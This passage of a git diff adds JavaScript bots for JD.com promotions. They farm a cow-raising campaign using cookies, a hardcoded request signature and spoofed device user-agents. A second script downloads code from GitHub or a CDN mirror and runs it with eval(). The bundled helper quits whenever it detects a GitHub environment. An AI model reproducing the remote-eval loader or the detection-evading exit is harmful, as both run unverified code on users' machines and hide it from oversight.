tt.replace(tt2[0] + '=', '') + } + const newObj = { + ...cookieobj, + ...obj, + } + cookie = '' + for (let key in newObj) { + key && (cookie = cookie + `${key}=${newObj[key]};`) + } + // console.log(cookie, 'jdCookie') +} +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: '&body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=73af724a6be5f3cb89bf934dfcde647f&st=1624887881842&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + // let body = `body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&lang=zh_CN&scope=11&sv=111` + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + // console.log(data, 'data') + $.isvToken = data['tokenKey'] + cookie += `IsvToken=${data['tokenKey']}` + // console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=ede16c356f954b5e48b259f94cf02e10&st=1624887883419&sv=120', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + $.token2 = data['token'] + // console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/qqxing/pasture/activity", `activityId=90121061401`), (err, resp, data) => { + updateCookie(resp) + // console.log(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // if ($.isNode()) + // for (let ck of resp['headers']['set-cookie']) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // else { + // for (let ck of resp['headers']['Set-Cookie'].split(',')) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=90121061401") + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.shopId + // console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + // console.log(data) + console.log(`欢迎回来~ ${$.nickname}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000361242&code=99&pin=${encodeURIComponent($.pin)}&activityId=90121061401&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fqqxing%2Fpasture%2Factivity%3FactivityId%3D90121061401%26lng%3D107.146945%26lat%3D33.255267%26sid%3Dcad74d1c843bd47422ae20cadf6fe5aw%26un_area%3D27_2442_2444_31912&subType=app&adSource=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/activityContent', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCardStatus !=3){ + console.log("当前未开卡,无法助力和兑换奖励哦") + } + // $.shareuuid = data.data.uid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.shareuuid}\n`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取任务列表 +function getinfo() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/myInfo", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}`) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.taskList = data.data.task.filter(x => (x.maxNeed == 1 && x.curNum == 0) || x.taskid == "interact") + $.taskList2 = data.data.task.filter(x => x.maxNeed != 1 && x.type == 0) + $.draw = data.data.bags.filter(x => x.bagId == 'drawchance')[0] + $.food = data.data.bags.filter(x => x.bagId == 'food')[0] + $.sign = data.data.bags.filter(x => x.bagId == 'signDay')[0] + $.score = data.data.score + // console.log(data.data.task) + let helpinfo = data.data.task.filter(x => x.taskid == 'share2help')[0] + if (helpinfo) { + console.log(`今天已有${helpinfo.curNum}人为你助力啦`) + if (helpinfo.curNum == 20) { + $.needhelp = false + } + } + $.cow = `当前🐮🐮成长值:${$.score} 饲料:${$.food.totalNum-$.food.useNum} 抽奖次数:${$.draw.totalNum-$.draw.useNum} 签到天数:${$.sign.totalNum}` + $.foodNum = $.food.totalNum-$.food.useNum + console.log($.cow) + $.drawchance = $.draw.totalNum - $.draw.useNum + } else { + $.cando = false + // console.log(data) + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +// 获取浏览商品 +function getproduct() { + return new Promise(resolve => { + let body = `type=4&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/getproduct', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data.data && data.data[0]) { + $.pparam = data.data[0].id + + $.vid = data.data[0].venderId + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获取浏览商品 +function writePersonInfo(vid) { + return new Promise(resolve => { + let body = `jdActivityId=1404370&pin=${encodeURIComponent($.pin)}&actionType=5&venderId=${vid}&activityId=90121061401` + + $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log("浏览:" + $.vid) + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换商品 +function exchange(id) { + return new Promise(resolve => { + let body = `pid=${id}&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/exchange?_', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log() +if(data.result){ +console.log(`兑换 ${data.data.rewardName}成功`) +$.exchange += 20 +}else{ +console.log(JSON.stringify(data)) +} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function dotask(taskId, params) { + let config = taskPostUrl("/dingzhi/qqxing/pasture/doTask", `taskId=${taskId}&${params?("param="+params+"&"):""}activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data.food) { + console.log("操作成功,获得饲料: " + data.data.food + " 抽奖机会:" + data.data.drawChance + " 成长值:" + data.data.growUp) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/luckydraw", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.prize.rewardName}`) + $.drawresult += `恭喜你抽中 ${data.data.prize.rewardName} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_rankingList.js b/jd_rankingList.js new file mode 100644 index 0000000..f10e517 --- /dev/null +++ b/jd_rankingList.js @@ -0,0 +1,60 @@ +/* + +活动入口:京东APP首页-更多频道-排行榜-悬浮按钮 + +自用 +author:yangtingxiao +github: https://github.com/yangtingxiao + */ +const $ = new Env('京东排行榜'); +main(); +async function main() { + $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_rankingList.js`}).then((resp) => { + if (resp.statusCode === 200) { + console.log(`${$.name}CDN缓存刷新成功`) + } + }); + await updateShareCodes(); + if (!$.body) await scriptsCDN(); + if ($.body) { + eval($.body); + } +} +function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function scriptsCDN(url = 'https://raw.fastgit.org/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 